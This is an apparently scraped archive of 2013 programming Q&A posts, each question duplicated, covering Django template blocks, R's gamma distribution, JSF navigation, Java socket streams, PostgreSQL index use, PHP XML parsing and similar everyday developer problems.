<% content_for :head do %>
<%= javascript_include_tag :top_cash_rate_widget %>
<% end -%>
Which results in syntax error, unexpected ';' However whenever I remove
.erb extension from .js file it works as fine as it was.
Please note, that I also commented out all Ruby code inside of the .js.erb
file.
I know it's not the best practice to use Ruby code inside of JS, but for
speed purposes I did it :)
Wednesday, 25 September 2013
Avoiding django TemplateSyntaxError if {% block %} is in an if/else/endif?
Avoiding django TemplateSyntaxError if {% block %} is in an if/else/endif?
If I put a {% block xxx %} twice in a template, I understand the error.
But is there a way get django to ignore this error:
{% if foo %}
complex stuff...
{% block content %}
complex stuff...
{% else %}
complex stuff...
{% block content %}
complex stuff...
{% endif %}
It would make my code quite a bit cleaner. Currently with Django 1.5 I get
'TemplateSyntaxError 'block' tag with name 'content' appears more than
once". Of course only one of those blocks can ever be triggered in the
if/else.
If I put a {% block xxx %} twice in a template, I understand the error.
But is there a way get django to ignore this error:
{% if foo %}
complex stuff...
{% block content %}
complex stuff...
{% else %}
complex stuff...
{% block content %}
complex stuff...
{% endif %}
It would make my code quite a bit cleaner. Currently with Django 1.5 I get
'TemplateSyntaxError 'block' tag with name 'content' appears more than
once". Of course only one of those blocks can ever be triggered in the
if/else.
Thursday, 19 September 2013
Plotting gamma distribution in r, confused about scale and shape
Plotting gamma distribution in r, confused about scale and shape
In the wikipedia article on the gamma distribution there are some examples
with particular scale and shape parameters.
Example A: scale = 5, shape = 1 Example B: scale = 9, shape = 0.5
So I try to replicate these probability densities in R
MyDensity <- function(scale1, shape1) {
xx <- seq(0,20, by=.01)
pdf1 <- dgamma(xx, scale=scale1, shape=shape1)
return(data.frame(pdf = pdf1, x = xx))
}
data1.dens <- rbind(data.frame(var1 = "A", MyDensity(5,1)),
data.frame(var1 = "B", MyDensity(9,0.5)))
ggplot(data1.dens, aes(x = x, y = pdf, color = var1, fill = var1)) +
geom_point()
However the results look totally different. I'm either doing something
wrong with R, or I'm confused about the scale and shape parameters. Can
anyone give me some hints. Thanks.
In the wikipedia article on the gamma distribution there are some examples
with particular scale and shape parameters.
Example A: scale = 5, shape = 1 Example B: scale = 9, shape = 0.5
So I try to replicate these probability densities in R
MyDensity <- function(scale1, shape1) {
xx <- seq(0,20, by=.01)
pdf1 <- dgamma(xx, scale=scale1, shape=shape1)
return(data.frame(pdf = pdf1, x = xx))
}
data1.dens <- rbind(data.frame(var1 = "A", MyDensity(5,1)),
data.frame(var1 = "B", MyDensity(9,0.5)))
ggplot(data1.dens, aes(x = x, y = pdf, color = var1, fill = var1)) +
geom_point()
However the results look totally different. I'm either doing something
wrong with R, or I'm confused about the scale and shape parameters. Can
anyone give me some hints. Thanks.
JSF navigate into folder issue. Not Found in ExternalContext as a Resource
JSF navigate into folder issue. Not Found in ExternalContext as a Resource
I'm a jee newbie. I'm developing a web application with jee7 and I would
organize my .xhtml files into different folder. I tried to set web.xml and
faces-config.xml files but when I click on a button to enter in a folder I
have this issue,
com.sun.faces.context.FacesFileNotFoundException:
/protected-area/index.xhtml Not Found in ExternalContext as a Resource
Problem appear when I want enter in both folder, "protected-area" and
"public". I hope I was clear, I don't understand because it doesn't work.
Many thanks for your help.
These are my files.
index.xhtml
<h:head>
<title>jingsen</title>
</h:head>
<h:body>
Select where you want to go:
<h:form>
<h:commandButton value="protected area"
action="protected-area"></h:commandButton>
<h:commandButton value="public" action="public"></h:commandButton>
<h:commandButton value="testtest" action="test"></h:commandButton>
</h:form>
</h:body>
web.xml
<context-param>
<param-name>javax.faces.PROJECT_STAGE</param-name>
<param-value>Development</param-value>
</context-param>
<context-param>
<param-name>javax.faces.CONFIG_FILES</param-name>
<param-value>/WEB-INF/faces-config.xml</param-value>
</context-param>
<servlet>
<servlet-name>Faces Servlet</servlet-name>
<servlet-class>javax.faces.webapp.FacesServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>Faces Servlet</servlet-name>
<url-pattern>*.xhtml</url-pattern>
</servlet-mapping>
<session-config>
<session-timeout>
30
</session-timeout>
</session-config>
<welcome-file-list>
<welcome-file>index.xhtml</welcome-file>
</welcome-file-list>
<login-config>
<auth-method>FORM</auth-method>
<realm-name>jingsen-realm</realm-name>
<form-login-config>
<form-login-page>/login.xhtml</form-login-page>
<form-error-page>/error.xhtml</form-error-page>
</form-login-config>
</login-config>
<security-constraint>
<display-name>Admin Pages</display-name>
<web-resource-collection>
<web-resource-name>Protected Area</web-resource-name>
<description/>
<url-pattern>/protected-area/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<description/>
<role-name>admin</role-name>
<role-name>cassa</role-name>
<role-name>cameriere</role-name>
<role-name>cucina</role-name>
<role-name>bar</role-name>
</auth-constraint>
</security-constraint>
<security-role>
<role-name>admin</role-name>
</security-role>
<security-role>
<role-name>cameriere</role-name>
</security-role>
<security-role>
<role-name>cucina</role-name>
</security-role>
<security-role>
<role-name>bar</role-name>
</security-role>
faces-config.xml
<navigation-rule>
<from-view-id>index.xhtml</from-view-id>
<navigation-case>
<from-outcome>protected-area</from-outcome>
<to-view-id>/protected-area/index.xhtml</to-view-id>
<redirect/>
</navigation-case>
<navigation-case>
<from-outcome>public</from-outcome>
<to-view-id>/public/index.xhtml</to-view-id>
<redirect/>
</navigation-case>
<navigation-case>
<from-outcome>test</from-outcome>
<to-view-id>prova.xhtml</to-view-id>
<redirect/>
</navigation-case>
</navigation-rule>
I'm a jee newbie. I'm developing a web application with jee7 and I would
organize my .xhtml files into different folder. I tried to set web.xml and
faces-config.xml files but when I click on a button to enter in a folder I
have this issue,
com.sun.faces.context.FacesFileNotFoundException:
/protected-area/index.xhtml Not Found in ExternalContext as a Resource
Problem appear when I want enter in both folder, "protected-area" and
"public". I hope I was clear, I don't understand because it doesn't work.
Many thanks for your help.
These are my files.
index.xhtml
<h:head>
<title>jingsen</title>
</h:head>
<h:body>
Select where you want to go:
<h:form>
<h:commandButton value="protected area"
action="protected-area"></h:commandButton>
<h:commandButton value="public" action="public"></h:commandButton>
<h:commandButton value="testtest" action="test"></h:commandButton>
</h:form>
</h:body>
web.xml
<context-param>
<param-name>javax.faces.PROJECT_STAGE</param-name>
<param-value>Development</param-value>
</context-param>
<context-param>
<param-name>javax.faces.CONFIG_FILES</param-name>
<param-value>/WEB-INF/faces-config.xml</param-value>
</context-param>
<servlet>
<servlet-name>Faces Servlet</servlet-name>
<servlet-class>javax.faces.webapp.FacesServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>Faces Servlet</servlet-name>
<url-pattern>*.xhtml</url-pattern>
</servlet-mapping>
<session-config>
<session-timeout>
30
</session-timeout>
</session-config>
<welcome-file-list>
<welcome-file>index.xhtml</welcome-file>
</welcome-file-list>
<login-config>
<auth-method>FORM</auth-method>
<realm-name>jingsen-realm</realm-name>
<form-login-config>
<form-login-page>/login.xhtml</form-login-page>
<form-error-page>/error.xhtml</form-error-page>
</form-login-config>
</login-config>
<security-constraint>
<display-name>Admin Pages</display-name>
<web-resource-collection>
<web-resource-name>Protected Area</web-resource-name>
<description/>
<url-pattern>/protected-area/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<description/>
<role-name>admin</role-name>
<role-name>cassa</role-name>
<role-name>cameriere</role-name>
<role-name>cucina</role-name>
<role-name>bar</role-name>
</auth-constraint>
</security-constraint>
<security-role>
<role-name>admin</role-name>
</security-role>
<security-role>
<role-name>cameriere</role-name>
</security-role>
<security-role>
<role-name>cucina</role-name>
</security-role>
<security-role>
<role-name>bar</role-name>
</security-role>
faces-config.xml
<navigation-rule>
<from-view-id>index.xhtml</from-view-id>
<navigation-case>
<from-outcome>protected-area</from-outcome>
<to-view-id>/protected-area/index.xhtml</to-view-id>
<redirect/>
</navigation-case>
<navigation-case>
<from-outcome>public</from-outcome>
<to-view-id>/public/index.xhtml</to-view-id>
<redirect/>
</navigation-case>
<navigation-case>
<from-outcome>test</from-outcome>
<to-view-id>prova.xhtml</to-view-id>
<redirect/>
</navigation-case>
</navigation-rule>
Multiple instance of NSTabViewItem from interface builder
Multiple instance of NSTabViewItem from interface builder
One NSTabViewItem is already created in interface builder with proper
elements placed on it, and now i wont to create as many new instance of
this NSTabViewItem as i wont. But unfortunately I do not know how. Is it
any easy way to create new NSTabViewItem exactly same as in the interface
builder with new instance of all elements on it?
One NSTabViewItem is already created in interface builder with proper
elements placed on it, and now i wont to create as many new instance of
this NSTabViewItem as i wont. But unfortunately I do not know how. Is it
any easy way to create new NSTabViewItem exactly same as in the interface
builder with new instance of all elements on it?
Scroll issue on web page being viewed with Ipad
Scroll issue on web page being viewed with Ipad
I've builds a rails app which also utilized jQuery mobile, but I am
experiencing a weird issue when viewed on the ipad when a user side
scrolls or scrolls from top to bottom to much. Its hard to explain, but
basically with the sidescrolling the page begins to rotate into the screen
on the z-axis with some bluish textures backround being shown. I tried
disabling sideswipe w/ jquery but then that prohibites the user from
scrolling from side to side on the page to view the rest of it. Does
anyone know how to prevent this behavior?
I've builds a rails app which also utilized jQuery mobile, but I am
experiencing a weird issue when viewed on the ipad when a user side
scrolls or scrolls from top to bottom to much. Its hard to explain, but
basically with the sidescrolling the page begins to rotate into the screen
on the z-axis with some bluish textures backround being shown. I tried
disabling sideswipe w/ jquery but then that prohibites the user from
scrolling from side to side on the page to view the rest of it. Does
anyone know how to prevent this behavior?
Running a django python file in terminal
Running a django python file in terminal
I have a Python file thats part of the Django framework called facade.py
from django.conf import settings
from .gateway import Gateway
class Facade(object):
def __init__(self):
self.gateway = Gateway(
settings.password,
settings.username,
)
I want to test this code in my terminal window. This is what I have tried:
within virutal-env
python
>>> from my.apps.app.facade import Facade
>>> object = Facade()
but this give me the error ImportError: Settings cannot be imported,
because environment variable DJANGO_SETTINGS_MODULE is undefined.
Why?
I have a Python file thats part of the Django framework called facade.py
from django.conf import settings
from .gateway import Gateway
class Facade(object):
def __init__(self):
self.gateway = Gateway(
settings.password,
settings.username,
)
I want to test this code in my terminal window. This is what I have tried:
within virutal-env
python
>>> from my.apps.app.facade import Facade
>>> object = Facade()
but this give me the error ImportError: Settings cannot be imported,
because environment variable DJANGO_SETTINGS_MODULE is undefined.
Why?
Sort the hashset based on date
Sort the hashset based on date
How can i sort the data inside a hashset based on date
I have a program in which i will get the data from mongodb in this format
2015-01-17 and later i will convert it to MMM dd yyyy format and now how
can i sort the data here ??
This is my program
public class MyObject {
public static void main(String args[]) {
String sym = "BAC";
Set<String> set = myDAO.getInstance().getMeAllExpirationDates(sym);
for (String String : set) {
System.out.println(String);
}
}
public Set<String> getMeAllExpirationDates(String sym) throws Exception {
SimpleDateFormat sdf1 = new SimpleDateFormat("yyyy-MM-dd");
SimpleDateFormat sdf2 = new SimpleDateFormat("MMM dd yyyy");
Set<String> set = new HashSet<String>();
BasicDBObject query = new BasicDBObject();
query.put("symbol", sym);
Security sec = null;
DBCursor cursor = collection.find(query);
while (cursor.hasNext()) {
sec = (Security) cursor.next();
Date date = sdf1.parse(sec.getTkExpirationDate());
String result = sdf2.format(date);
set.add(result);
}
return set;
}
}
How can i sort the data inside a hashset based on date
I have a program in which i will get the data from mongodb in this format
2015-01-17 and later i will convert it to MMM dd yyyy format and now how
can i sort the data here ??
This is my program
public class MyObject {
public static void main(String args[]) {
String sym = "BAC";
Set<String> set = myDAO.getInstance().getMeAllExpirationDates(sym);
for (String String : set) {
System.out.println(String);
}
}
public Set<String> getMeAllExpirationDates(String sym) throws Exception {
SimpleDateFormat sdf1 = new SimpleDateFormat("yyyy-MM-dd");
SimpleDateFormat sdf2 = new SimpleDateFormat("MMM dd yyyy");
Set<String> set = new HashSet<String>();
BasicDBObject query = new BasicDBObject();
query.put("symbol", sym);
Security sec = null;
DBCursor cursor = collection.find(query);
while (cursor.hasNext()) {
sec = (Security) cursor.next();
Date date = sdf1.parse(sec.getTkExpirationDate());
String result = sdf2.format(date);
set.add(result);
}
return set;
}
}
PostgreSQL need VACUUM or ANALYZE schedule to make use of indexes?
PostgreSQL need VACUUM or ANALYZE schedule to make use of indexes?
I am creating indexes to tables in an existing PostgreSQL database
instance. I understand that EXPLAIN ANALYZE followed by the application's
SQL command is the easiest way to know whether my indexes are being used.
For example:
EXPLAIN ANALYZE SELECT A,B,C FROM MY_TABLE WHERE C=123;
Would give me back:
Seq Scan on public.my_table (cost=...) <- No index, BAD
And, after creating the index, it would return:
Index Scan using my_index_name on public.my_table (cost=...) <- Index, GOOD
In my optimisation task, I found a relatively big table that suffered the
occasional performance problem and created an index for that. That was a
perfect example of turning a sequential scan into an index scan as above.
It worked.
However, after creating the index, the second query that ranked the
slowest on the list, still less than 0.5 seconds that is, the index didn't
make any difference! After the index created, it would still do the Seq
Scan. The table has a few hundred records though, but likely to grow a few
thousand a year.
Digging a little deeper in the PostgreSQL documentation it says it would
still use the sequential scan when no significant performance gains were
given by using the said index.
Then the scary part: there was a recommendation that you run ANALYZE or
have the "Autovacuum" daemon on. This way the database would know the size
of tables and decide on query plans properly.
I understand using indexes is fairly basic, so is this absolutely
necessary in a production environment? In other words, will PostgreSQL use
the index when it's time to use it without need to analyse or vacuum as an
extra task?
I am creating indexes to tables in an existing PostgreSQL database
instance. I understand that EXPLAIN ANALYZE followed by the application's
SQL command is the easiest way to know whether my indexes are being used.
For example:
EXPLAIN ANALYZE SELECT A,B,C FROM MY_TABLE WHERE C=123;
Would give me back:
Seq Scan on public.my_table (cost=...) <- No index, BAD
And, after creating the index, it would return:
Index Scan using my_index_name on public.my_table (cost=...) <- Index, GOOD
In my optimisation task, I found a relatively big table that suffered the
occasional performance problem and created an index for that. That was a
perfect example of turning a sequential scan into an index scan as above.
It worked.
However, after creating the index, the second query that ranked the
slowest on the list, still less than 0.5 seconds that is, the index didn't
make any difference! After the index created, it would still do the Seq
Scan. The table has a few hundred records though, but likely to grow a few
thousand a year.
Digging a little deeper in the PostgreSQL documentation it says it would
still use the sequential scan when no significant performance gains were
given by using the said index.
Then the scary part: there was a recommendation that you run ANALYZE or
have the "Autovacuum" daemon on. This way the database would know the size
of tables and decide on query plans properly.
I understand using indexes is fairly basic, so is this absolutely
necessary in a production environment? In other words, will PostgreSQL use
the index when it's time to use it without need to analyse or vacuum as an
extra task?
Wednesday, 18 September 2013
how to read out a byte array before the file into OutputStream
how to read out a byte array before the file into OutputStream
i want to send the file size and one other integer, the tabelet serial
number from and android tablet to a server running windows 7:
what is wrong with my client code and how to make the server accept the to
different byte streams of data?
client code of android tablet
try {
byte[] bytes = new byte[(int) length];
fis = new FileInputStream(file2);
bis = new BufferedInputStream(fis);
bos = new BufferedOutputStream(socket.getOutputStream());
int count;
// convert integer to byte
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
dos.writeInt(1992);
byte[] preByte = baos.toByteArray();
// the first byte that sends the tablet serial number and
the size of the next file it is going to send
bis.read(preByte);
// the next sent is the file itself which is a database file
while ((count = bis.read(bytes)) > 0) {
bos.write(bytes, 0, count);
}
fis.close();
bis.close();
fis = null;
bis = null;
socket.close();
server code that will receive the two files
fos = new FileOutputStream(file);
bos = new BufferedOutputStream(fos);
System.out.println("streams are setup from new thread\n");
is = socket.getInputStream();
bufferSize = socket.getReceiveBufferSize();
buffer = new byte[bufferSize];
while ((count = is.read(buffer)) > 0) {
bos.write(buffer, 0, count);
} // end while
bos.flush();
bos.close();
is.close();
i want to send the file size and one other integer, the tabelet serial
number from and android tablet to a server running windows 7:
what is wrong with my client code and how to make the server accept the to
different byte streams of data?
client code of android tablet
try {
byte[] bytes = new byte[(int) length];
fis = new FileInputStream(file2);
bis = new BufferedInputStream(fis);
bos = new BufferedOutputStream(socket.getOutputStream());
int count;
// convert integer to byte
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
dos.writeInt(1992);
byte[] preByte = baos.toByteArray();
// the first byte that sends the tablet serial number and
the size of the next file it is going to send
bis.read(preByte);
// the next sent is the file itself which is a database file
while ((count = bis.read(bytes)) > 0) {
bos.write(bytes, 0, count);
}
fis.close();
bis.close();
fis = null;
bis = null;
socket.close();
server code that will receive the two files
fos = new FileOutputStream(file);
bos = new BufferedOutputStream(fos);
System.out.println("streams are setup from new thread\n");
is = socket.getInputStream();
bufferSize = socket.getReceiveBufferSize();
buffer = new byte[bufferSize];
while ((count = is.read(buffer)) > 0) {
bos.write(buffer, 0, count);
} // end while
bos.flush();
bos.close();
is.close();
Pydev can't compile turbogears quickstart
Pydev can't compile turbogears quickstart
I'm very new to python, pydev and turbogears.
I've installed these relevant packages into my virtualenv with pip
$ pip list backlash (0.0.3) Beaker (1.6.4) cliff (1.4.4) cmd2 (0.6.5.1)
crank (0.6.4) decorator (3.4.0) gearbox (0.0.2) Mako (0.9.0) MarkupSafe
(0.18) PasteDeploy (1.5.0) prettytable (0.7.2) pyparsing (1.5.7)
repoze.lru (0.6) SQLAlchemy (0.8.2) Tempita (0.5.1) tg.devtools (2.3.0)
transaction (1.4.1) TurboGears2 (2.3.0) WebOb (1.2.3) WebTest (1.4.3)
wsgiref (0.1.2) zope.interface (4.0.5) zope.sqlalchemy (0.7.2)
I then create a new turbogears2 project with sqlalchemy using:
$ gearbox quickstart -s -m testproject
Within Pydev (version 2.7.4), I do
File -> New -> Pydev Project
I select the pathname of the "testproject" project I just created. I
choose the python interperter which I've already setup in Pydev which
refers to my virtualenv above.
Now the issue...
If I choose the option "Create 'src' folder and add it to PYTHONPATH?",
then all is well.
If I choose the option "Add project directory to PYTHONPATH?", I
immediately get compile errors within my project, which is nothing more
than a fresh scaffold provided by turbogears quickstart, unedited by me.
As an example, the file
testproject/testproject/model/init.py will not compile, this line:
from zope.sqlalchemy import ZopeTransactionExtension
produces the error:
Unresolved import: ZopeTransactionExtension
However, if I go outside Pydev, and create test.py with a single line
from zope.sqlalchemy import ZopeTransactionExtension
this test.py compiles cleanly outside of Pydev. This makes me think
turbogears/sqlalchemy setup is not the issue.
I can also see ZopeTransactionExtension defined within
lib/python2.7/site-packages/zope/sqlalchemy/datamanager.py (imported from
init.py) under my virtualenv
Why does is Pydev happy when src folder exists but not in the latter case?
Since it works in the first case, I'm pretty sure my interpreter is setup
correctly within Pydev.
I'm very new to python, pydev and turbogears.
I've installed these relevant packages into my virtualenv with pip
$ pip list backlash (0.0.3) Beaker (1.6.4) cliff (1.4.4) cmd2 (0.6.5.1)
crank (0.6.4) decorator (3.4.0) gearbox (0.0.2) Mako (0.9.0) MarkupSafe
(0.18) PasteDeploy (1.5.0) prettytable (0.7.2) pyparsing (1.5.7)
repoze.lru (0.6) SQLAlchemy (0.8.2) Tempita (0.5.1) tg.devtools (2.3.0)
transaction (1.4.1) TurboGears2 (2.3.0) WebOb (1.2.3) WebTest (1.4.3)
wsgiref (0.1.2) zope.interface (4.0.5) zope.sqlalchemy (0.7.2)
I then create a new turbogears2 project with sqlalchemy using:
$ gearbox quickstart -s -m testproject
Within Pydev (version 2.7.4), I do
File -> New -> Pydev Project
I select the pathname of the "testproject" project I just created. I
choose the python interperter which I've already setup in Pydev which
refers to my virtualenv above.
Now the issue...
If I choose the option "Create 'src' folder and add it to PYTHONPATH?",
then all is well.
If I choose the option "Add project directory to PYTHONPATH?", I
immediately get compile errors within my project, which is nothing more
than a fresh scaffold provided by turbogears quickstart, unedited by me.
As an example, the file
testproject/testproject/model/init.py will not compile, this line:
from zope.sqlalchemy import ZopeTransactionExtension
produces the error:
Unresolved import: ZopeTransactionExtension
However, if I go outside Pydev, and create test.py with a single line
from zope.sqlalchemy import ZopeTransactionExtension
this test.py compiles cleanly outside of Pydev. This makes me think
turbogears/sqlalchemy setup is not the issue.
I can also see ZopeTransactionExtension defined within
lib/python2.7/site-packages/zope/sqlalchemy/datamanager.py (imported from
init.py) under my virtualenv
Why does is Pydev happy when src folder exists but not in the latter case?
Since it works in the first case, I'm pretty sure my interpreter is setup
correctly within Pydev.
Cannot Install Windows, but could Ubuntu
Cannot Install Windows, but could Ubuntu
Its a Lenovo B460E. When I try to install Windows, though the hard drive
has free memory, it shows "Setup was unable to use the existing partition
because the system volume does not contain required free space."
But Ubuntu gets installed easily. Can anyone help me out?
Its a Lenovo B460E. When I try to install Windows, though the hard drive
has free memory, it shows "Setup was unable to use the existing partition
because the system volume does not contain required free space."
But Ubuntu gets installed easily. Can anyone help me out?
is there any possible way to store current time only via phpmyadmin in mysql
is there any possible way to store current time only via phpmyadmin in mysql
I want to store current time (for example 00:30) in one of my column , the
default CURRENT_TIMESTAMP gives both date and time which i dont want.
or is there any way of retrieving only time from CURRENT_TIMESTAMP ??
I want to store current time (for example 00:30) in one of my column , the
default CURRENT_TIMESTAMP gives both date and time which i dont want.
or is there any way of retrieving only time from CURRENT_TIMESTAMP ??
When is the iOS7 NDA lifted?
When is the iOS7 NDA lifted?
iOS7 just launched publicly, as well as Xcode 5, so does this officially
mean the NDA has been lifted?
I cannot for the life of me find any information on this through Apple's
developer portal.
Anyone have links to the proper information? Thanks!
iOS7 just launched publicly, as well as Xcode 5, so does this officially
mean the NDA has been lifted?
I cannot for the life of me find any information on this through Apple's
developer portal.
Anyone have links to the proper information? Thanks!
Boost Fusion compile error in VS 2013 RC
Boost Fusion compile error in VS 2013 RC
Hello I got the latest Boost from trunk which builds with VS 2013 RC.
Built boost, it worked.
But when compiling my project against Boost, where I make use of Boost
Fusion. I'm getting 100's of these error messages--
Error 1086 error C3520: 'T' : parameter pack must be expanded in this context
It refers to this code in make_vector10.hpp
namespace result_of
{
template <typename T0 , typename T1 , typename T2>
struct make_vector<T0 , T1 , T2>
{
typedef vector3<typename detail::as_fusion_element<T0>::type ,
typename detail::as_fusion_element<T1>::type , typename
detail::as_fusion_element<T2>::type> type;
};
}
But there is no template parameter "T" used anywhere here.
This is also not a variadic template so I don't understand why it refers
to parameter packs in the error message. "vector3" and "as_fusion_element"
are also not variadic.
All variations of make_vector are giving me the same error btw(also
make_set).
Anyone know what is going on here? Thanks
Hello I got the latest Boost from trunk which builds with VS 2013 RC.
Built boost, it worked.
But when compiling my project against Boost, where I make use of Boost
Fusion. I'm getting 100's of these error messages--
Error 1086 error C3520: 'T' : parameter pack must be expanded in this context
It refers to this code in make_vector10.hpp
namespace result_of
{
template <typename T0 , typename T1 , typename T2>
struct make_vector<T0 , T1 , T2>
{
typedef vector3<typename detail::as_fusion_element<T0>::type ,
typename detail::as_fusion_element<T1>::type , typename
detail::as_fusion_element<T2>::type> type;
};
}
But there is no template parameter "T" used anywhere here.
This is also not a variadic template so I don't understand why it refers
to parameter packs in the error message. "vector3" and "as_fusion_element"
are also not variadic.
All variations of make_vector are giving me the same error btw(also
make_set).
Anyone know what is going on here? Thanks
Prepared Statement Parameter Problems
Prepared Statement Parameter Problems
I want a Java method to pull a record from my Oracle 11g database, but I'm
running into some trouble in that I am not getting any records returned.
If I hard-code a value by uncommenting line 4 and commenting lines 5 & 7,
result will be populated with a record. No exceptions are caught. What am
I missing?
conn = DriverManager.getConnection(url,props);
String sql = "select col1, col2, col3"
+ " from table1"
// + " where user_id = 'user123'"; // line 4
+ " where user_id = ?"; // line 5
PreparedStatement preStatement = conn.prepareStatement(sql);
preStatement.setString(1, "user123"); // line 7
ResultSet result = preStatement.executeQuery();
while(result.next()) {
System.out.println("works");
}
I want a Java method to pull a record from my Oracle 11g database, but I'm
running into some trouble in that I am not getting any records returned.
If I hard-code a value by uncommenting line 4 and commenting lines 5 & 7,
result will be populated with a record. No exceptions are caught. What am
I missing?
conn = DriverManager.getConnection(url,props);
String sql = "select col1, col2, col3"
+ " from table1"
// + " where user_id = 'user123'"; // line 4
+ " where user_id = ?"; // line 5
PreparedStatement preStatement = conn.prepareStatement(sql);
preStatement.setString(1, "user123"); // line 7
ResultSet result = preStatement.executeQuery();
while(result.next()) {
System.out.println("works");
}
SSRS Subscription & Cube Security
SSRS Subscription & Cube Security
I have implemented roles in cube and checked the option "Impersonate the
user when connecting to the data source". SSRS allow me to create
subscriptions only if i un-check the Impersonation option. But if i
un-check the impersonation option, cube roles (security) would not work.
Any idea of how to resolve this conflict?
I have implemented roles in cube and checked the option "Impersonate the
user when connecting to the data source". SSRS allow me to create
subscriptions only if i un-check the Impersonation option. But if i
un-check the impersonation option, cube roles (security) would not work.
Any idea of how to resolve this conflict?
web-application running on different from 80?
web-application running on different from 80?
If a web-application is running on 81 port and not on port 80 then do we
require some other kind of setting for sending mail in ASP.NET?
Actually i don't find any exception on server and the application is
running on port 81 due to few rules.
And the mails are sent perfectly without exception but doesn't reach inbox.
IIS7 is running. I saw one post and checked this setting too.
Trying to send mail via SMTP. No mails arrives and no exception error
Anyone encountered this issue and any solution to this?
If a web-application is running on 81 port and not on port 80 then do we
require some other kind of setting for sending mail in ASP.NET?
Actually i don't find any exception on server and the application is
running on port 81 due to few rules.
And the mails are sent perfectly without exception but doesn't reach inbox.
IIS7 is running. I saw one post and checked this setting too.
Trying to send mail via SMTP. No mails arrives and no exception error
Anyone encountered this issue and any solution to this?
Tuesday, 17 September 2013
Jdatechooser getDate() method is not working
Jdatechooser getDate() method is not working
I'm tryin g to get date from jdate chooser. So I used this update query.
But now I'm getting this getDate() method as "cannot find the symbol"
error. I'm using JDBC class. here is my query.
try {
new JDBC().putData("UPDATE work SET
balance='"+txtValue.getText()+"', date='"+new
SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(date.getdate()) +"'
WHERE id='1'");
} catch (Exception e) {
JOptionPane.showMessageDialog(null, this.getClass().getName() +"
"+e);
}
I'm tryin g to get date from jdate chooser. So I used this update query.
But now I'm getting this getDate() method as "cannot find the symbol"
error. I'm using JDBC class. here is my query.
try {
new JDBC().putData("UPDATE work SET
balance='"+txtValue.getText()+"', date='"+new
SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(date.getdate()) +"'
WHERE id='1'");
} catch (Exception e) {
JOptionPane.showMessageDialog(null, this.getClass().getName() +"
"+e);
}
Google Map 7 New Features
Google Map 7 New Features
just wanna ask is there any google api that enable us to integrate the new
explore features in Google Map 7 in our own app? Which allow user to
search based on categories. Sorry for any inconvenience I am newbie in
android dev.
just wanna ask is there any google api that enable us to integrate the new
explore features in Google Map 7 in our own app? Which allow user to
search based on categories. Sorry for any inconvenience I am newbie in
android dev.
how javascript auto click div
how javascript auto click div
Html Code
<div id="Evikonu" align="center"><a title="Kendi Çiftliðin"
onclick="ortasayfaac('ev'); " href="javascript:void(0)"><img
id="evikonuimg" width="320" src="ciftikonpic/154ikon.png" style="width:
320px;"></img></a></div>
My code not work
function tikla() {
$("Evikonu").fadeOut("slow");
//Code to refresh the content goes here
//could be a AJAX call
$("Evikonu").fadeIn("slow");
setTimeout("tikla();", 2000);
}
I have tried many javascript code but it did not work. (Mozilla,
Greasemonkey)
Html Code
<div id="Evikonu" align="center"><a title="Kendi Çiftliðin"
onclick="ortasayfaac('ev'); " href="javascript:void(0)"><img
id="evikonuimg" width="320" src="ciftikonpic/154ikon.png" style="width:
320px;"></img></a></div>
My code not work
function tikla() {
$("Evikonu").fadeOut("slow");
//Code to refresh the content goes here
//could be a AJAX call
$("Evikonu").fadeIn("slow");
setTimeout("tikla();", 2000);
}
I have tried many javascript code but it did not work. (Mozilla,
Greasemonkey)
PHP - how to read this XML file
PHP - how to read this XML file
I have the following xml:
<CallOverview>
<Calls Count="2">
<Call CallType="LandLine" Customer="this account"
StartTime="2013-09-17 20:21:19 (UTC)" Destination="NL"
Duration="00:00:05" Charge="0.045" CallId="158263673"/>
<Call CallType="Mobile" Customer="this account"
StartTime="2013-09-17 20:18:34 (UTC)" Destination="US"
Duration="00:00:26" Charge="0.101" CallId="158263381"/>
</Calls>
<MoreData>No more data available</MoreData>
</CallOverview>
I retrieve the XML like this:
function get_xml($url)
{
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
return $data;
};
I receive the XML as desired, but I can't manage to extract the data the
right way:
$xml=simplexml_load_string ( get_xml($url_post) ) ;
echo $xml->getName() . "<br>";
foreach($xml->children() as $child)
{
echo $child->getName() . ": " . $child . "<br>";
foreach($child->children() as $subchild)
{
echo $subchild->getName() . ": " . $subchild . "<br>";
$role = $child->attributes();
foreach($child as $key => $value) {
echo "$role $key $value";
}
}
}
I have the following xml:
<CallOverview>
<Calls Count="2">
<Call CallType="LandLine" Customer="this account"
StartTime="2013-09-17 20:21:19 (UTC)" Destination="NL"
Duration="00:00:05" Charge="0.045" CallId="158263673"/>
<Call CallType="Mobile" Customer="this account"
StartTime="2013-09-17 20:18:34 (UTC)" Destination="US"
Duration="00:00:26" Charge="0.101" CallId="158263381"/>
</Calls>
<MoreData>No more data available</MoreData>
</CallOverview>
I retrieve the XML like this:
function get_xml($url)
{
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
return $data;
};
I receive the XML as desired, but I can't manage to extract the data the
right way:
$xml=simplexml_load_string ( get_xml($url_post) ) ;
echo $xml->getName() . "<br>";
foreach($xml->children() as $child)
{
echo $child->getName() . ": " . $child . "<br>";
foreach($child->children() as $subchild)
{
echo $subchild->getName() . ": " . $subchild . "<br>";
$role = $child->attributes();
foreach($child as $key => $value) {
echo "$role $key $value";
}
}
}
How to echo the values of dynamic textbox values in php
How to echo the values of dynamic textbox values in php
I have a code that creates textboxes at run time but to access the values
when user submits after the filling the textbox
<?php
$num = 5;
echo '<form method="post" action="index.php">';
